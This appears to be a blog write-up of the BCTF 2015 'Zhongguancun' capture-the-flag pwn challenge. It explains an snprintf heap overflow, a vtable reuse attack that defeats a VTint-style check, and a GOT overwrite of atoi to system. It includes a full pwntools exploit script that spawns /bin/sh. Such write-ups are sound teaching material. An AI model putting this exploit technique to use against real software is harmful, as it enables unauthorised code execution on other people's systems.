BCTF 2015 PWN Zhongguancun Write-up

Introduction

This challenge implements a simplified version of VTint in the binary file. Therefore, this is a good example to introduce vtable reuse attack.

Vulnerability Analysis

There exists a common buffer overflow vulnerability resulted from snprintf. From the logic of the binary, at most 16 phones or watches can be registered. And we can infer the basic data structure used in this challenge:

struct phone
{
   vtable_item *vtable;
   char name[32];
   char description[80];
   int price;
   int OStype;
}
</code>

In generateItemList (fun_0x8049036), a buffer of size 0xb18 (2840) will be allocated to save the list string. The list string is generated from snprintf including all name, description ,os type info and price info of registered items. With some calculation, we can find that if there are 16 registered phones with “Blackberry OS”, a negative long number, a name and description with full length, a buffer overflow takes place.

Exploit Plan

However, the buffer overflow in this challenge is limited. We can only modify the vtable pointer to launch our attack.
However, this challenges implements a simplified VTint in its binary code as following:

This function is inserted before each virtual function call to check the integrity of the vtable pointer located in the victim object. This function will attempt to write something to the target address. If the target address is writable then the program exists. Otherwise, the control flow continues.

Therefore, we need to turn to vtable reuse attack to launch our attack. In this challenge, there are two vtables in the binary located at 0x8049b60 and 0x8049b70 respectively. Functions at 0x804932e and 0x80492fe will be used to generate the item string at the address given in the second argument. Functions at 0x804935e and 0x8049466 will generate a wholesell price based on the number given in the second argument. Therefore, we know that we have the overwrite the vtable pointer of the victim object to 0x8049b74.

The next problem is where address we should write to. Since in vtable reuse attack in this challenge, the virtual function gadget will write a long string to the target address with some characters uncontrolled by us. Therefore in this challenge, we choose to overwrite an integer number pointer located at 0x804b280, we utilise the corrupted integer pointer to overwrite the value located in atoi@got.plt to system. Due to the sign check in the binary, we can not directly overwrite the value of atoi to system. Instead, we turn to corrupt the value located at 0x804b037.

Exploit

from pwn import *


DEBUG = int(sys.argv[1]);

if(DEBUG == 0):
    r = remote("1.2.3.4", 2333);
elif(DEBUG == 1):
    r = process("./data");
elif(DEBUG == 2):
    r = process("./data");
    gdb.attach(r, '''source ./script''');

def registerStoreName(name):
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline(name);
    r.recvuntil("?");
    r.sendline("d");

def registerPhone(name, osOption, price, desc):
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline(name);
    r.recvuntil("OS?");
    r.sendline(str(osOption));
    r.recvuntil("price?");
    r.sendline(str(price));
    r.recvuntil("description?");
    r.sendline(desc);
    r.recvuntil("?");
    r.sendline("d");

def registerWatch(name, watchType, price, desc):
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline("b");
    r.recvuntil("?");
    r.sendline(name);
    r.recvuntil("type?");
    r.sendline(str(watchType));
    r.recvuntil("price?");
    r.sendline(str(price));
    r.recvuntil("description?");
    r.sendline(desc);
    r.recvuntil("?");
    r.sendline("d");

def generateList():
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline("c");
    r.recvuntil("?");
    r.sendline("d");

def buyPhone(phoneNumber, count):
    r.recvuntil("?");
    r.sendline("b");
    line = r.recvline();
    if("Go away" in line):
        log.error("bad value at 0x804b036");

    r.recvuntil("Your total money: ");
    line = r.recvline();
    number = int(line.split(' ')[0]);
    log.info("leaked value: 0x%x" % number);

    r.recvuntil("?");
    r.sendline(str(phoneNumber));
    r.recvuntil("?");
    r.sendline("a");
    r.recvuntil("?");
    r.sendline(str(count));
    r.recvuntil("?");
    r.sendline("c");
    

def buyWholePhone(phoneNumber, count):
    r.recvuntil("?");
    r.sendline("b");
    r.recvuntil("?");
    r.sendline(str(phoneNumber));
    r.recvuntil("?");
    r.sendline("b");
    r.recvuntil("?");
    r.sendline(str(count));
    r.recvuntil("?");
    r.sendline("c");

def exploit():
    image = ELF("./data");
    registerStoreName("0"*0x3f);
    registerPhone("a"*0x1f, 4, -2130685435, "A"*0x4f);
    for i in range(1, 15):
        registerPhone(chr(0x61+i)*0x1f, 4, -2147483648, chr(0x41+i)*0x4f);
    generateList();
    registerPhone("p"*0x1f, 4, 0-0x7000000, p32(0x804b037) + p32(0x42424242) +"P"*(0x4b-8) + p32(0x8049b74));
    generateList();

    buyWholePhone(16, 0x804b248);
    buyPhone(1, 0x7f)

    r.recvuntil("?");
    r.sendline("b");
    r.recvuntil("?");
    r.sendline("/bin/sh");
    r.interactive();

exploit();

Conclusion

This challenge gives a good example of vtable reuse attack against VTint enforcement policy. In future I may give a series of tutorials on vtable reuse attacks with more details.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.